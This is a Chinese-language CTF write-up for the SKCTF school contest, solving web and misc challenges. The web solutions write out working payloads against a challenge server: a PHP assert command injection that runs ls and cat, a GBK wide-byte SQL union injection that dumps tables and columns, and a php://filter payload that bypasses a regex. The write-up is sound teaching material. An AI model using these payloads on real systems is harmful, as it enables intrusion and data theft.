SKCTF-5-25wp

快乐校赛

WEB

一个不能按的按钮

题目复现地址:http://47.103.6.99:8000

打开题目,点击flag。

确实是不能按的。。

想到应该是改js。

去掉此处的disabled,即可点击。

给出源码:

解题思路应是利用assert断言函数和page这一可控变量。

assert函数当变量为真值时将字符串当作语句执行,而当false值时将其转换成一空字符串。

注意,构造payload时不可闭合assert函数,因为脱离这一函数的语句都会被自动转义,故应闭合file_exists函数来进行任意语句执行。

另外,最后进行注释的时候应该注意不可使用#。因为#在url中是起一个锚(或者说书签的作用,可自行百度)的作用。此处参考sql注入时使用#的url编码%23,或者php的另外一种单行注释方法//均可。

综上,构造payload:

http://47.103.6.99:8000/flag.php?file=flag%27)%20or%20system(%27ls%27);//

得到

这里我几乎翻遍了所有目录(../../)也没想到ls -a来查看隐藏文件orz

http://47.103.6.99:8000/flag.php?file=flag%27)%20or%20system(%27ls%20-a%27);//

可以看到

一个明显存放flag的文件。

cat之。

http://47.103.6.99:8000/flag.php?file=flag%27)%20or%20system(%27cat%20.ffll44gg%27);//

拿到flag。

URL中“#” “?” &“”号的作用

浅析一句话后门中eval与assert执行条件与原理

php中assert方法的安全问题

PHP assert() Manual (官方文档)

学生信息查询

题目复现地址

?id=1查询,得到

?id=1’查询,得到

可以看到单引号被转义掉了。

想到宽字节注入,试一下:

?id=1%df%27


报错了,说明猜想正确,开始进行注入。

?id=1%df%27%20order%20by%201%20%23

正常回显。

直到

?id=1%df%27%20order%20by%204%20%23

报错:

说明有三个字段。接着爆库

?id=-1%df%27%20union%20select%201,2,database()%20%23

P.S 这里查询的id=-1是因为-1代表不存在的数据,不会有任何回显,这样就可以看到后面联合查询出来的内容。

然后爆表

?id=-1%df%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%20=%20database()%20%23

这里库名用database()的原因是过滤了单引号,可以用该函数或者转换为16进制来进行绕过。

得到

然后爆字段

?id=-1%df%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name%20=%200x666c6167%20--+

这里的0x666c6167即为flag的16进制。

得到

只有一个叫做flag的字段。所以直接查询:

?id=-1%df%27%20union%20select%201,2,flag%20from%20flag%20--+

得到flag。

总结

  • gbk编码的宽字节注入
  • 查询参数值-1
  • 过滤单引号使用16进制绕过

I am looking at you

题目复现地址

一道代码审计题目。

看完代码之后,可以看到关键点在于sprintf函数。那么它的作用是什么呢?

类似于c语言里的sprintf,把百分号(%)符号替换成一个作为参数进行传递的变量。如题目中的用法:

sprintf($data,$_v);

data变量的初始值为“I am looking at you %s”,其中的%s在sprintf函数中作为占位符传入后面的$_v函数的值。

脱离出welcome函数,$arr变量是$_GET[‘myname’]和$flag组成的一个数组。显然flag变量的值就是我们需要的flag。之后调用welcome函数对arr变量进行操作,而welcome函数中会对该数组遍历,执行

$data = sprintf($data,$_v); 

这一操作。

想到可以在我们能够控制的变量myname中放入一个%s,这样经过第一次便利后data变量还是有一个%s,再经历一次sprintf函数就会将在后面的flag变量的值输出出来。所以构造payload:

?myname=cxk%s

得到flag:

task

题目源码:

进行审计。首先,is_ok函数会对传入的参数进行正则表达式匹配,若传入的参数为两个数字或字母,则会退出函数。

之后检测p变量,若p不为字母或数字,则pp变量为解码后的p变量,然后包含一个pp变量。

通过dalao指点得知在base64编码范围之外的字符可以绕过正则表达式。

所以结合php://伪协议令p=php://filter/read=convert.base64-encode/resource=flag.php

将该payload进行base64编码后在每一个字符前加一个在base64编码范围之外的单引号,就可以成功绕过。

所以构造payload:

p='c'G'h'w'O'i'8'v'Z'm'l's'd'G'V'y'L'3'J'l'Y'W'Q'9'Y'2'9'u'd'm'V'y'd'C'5'i'Y'X'N'l'N'j'Q't'Z'W'5'j'b'2'R'l'L'3'J'l'c'2'9'1'c'm'N'l'P'W'Z's'Y'W'c'u'c'G'h'w

解密拿到的bse64即可得到flag。

// SKCTF{18e599effd0f6da452b24421c2dde0f2}

MISC

二维码

给了一个存着RGB值的文件,使用python的PIL库来画图。


有78400行,整数分解一下正好是280的平方。
所以写脚本:

# -*- coding:utf-8 -*-
from PIL import Image
x = 280
y = 280  #  长和宽均为280
f = open("flag.txt",'r') # 打开题目文件
im = Image.new("RGB",(x,y)) # 创建一个图片
for i in range(x):
    for j in range(y):
        line = f.readline().replace('(','').replace(')','')
        pixel = line.split(',')
        im.putpixel((i,j),(int(pixel[0]),int(pixel[1]),int(pixel[2]))) # 往图片的每个坐标点上填充像素
f.close()
im.show() # 展示图片

得到一个二维码:

扫描得到

ONYXE6LSIVXF6ZTUOZTXWRRRIRPWCZLWORIGCLJQG56Q====

看出为base32密码,解码得

sqryrEn_ftvg{F1D_aevtPa-07}

栅栏解密得

synt{DeP0qr_vF_va7rEfg1at-}

凯撒解密得flag。

flag{QrC0de_iS_in7eRst1ng-}

bugku上有类似题目。。

bugku部分wp

unzip

这道题之前的组内赛放过一次,印象也是挺深。暂时没有题目文件,就凭印象写了。

mkfile.sh中的time()得知这道题考察的是时间戳

时间戳是指格林威治时间1970年01月01日00时00分00秒(北京时间1970年01月01日08时00分00秒)起至现在的总秒数。通俗的讲, 时间戳是一份能够表示一份数据在一个特定时间点已经存在的完整的可验证的数据。 它的提出主要是为用户提供一份电子证据, 以证明用户的某些数据的产生时间。 在实际应用上, 它可以使用在包括电子商务、 金融活动的各个方面, 尤其可以用来支撑公开密钥基础设施的 “不可否认” 服务。

看了看一些小伙伴们的wp,发现都是暴力破解的压缩包,其实并不需要。
既然是考察时间戳,结合题目,把拿到的压缩包的创建时间转换为时间戳即为压缩包密码,解压即可。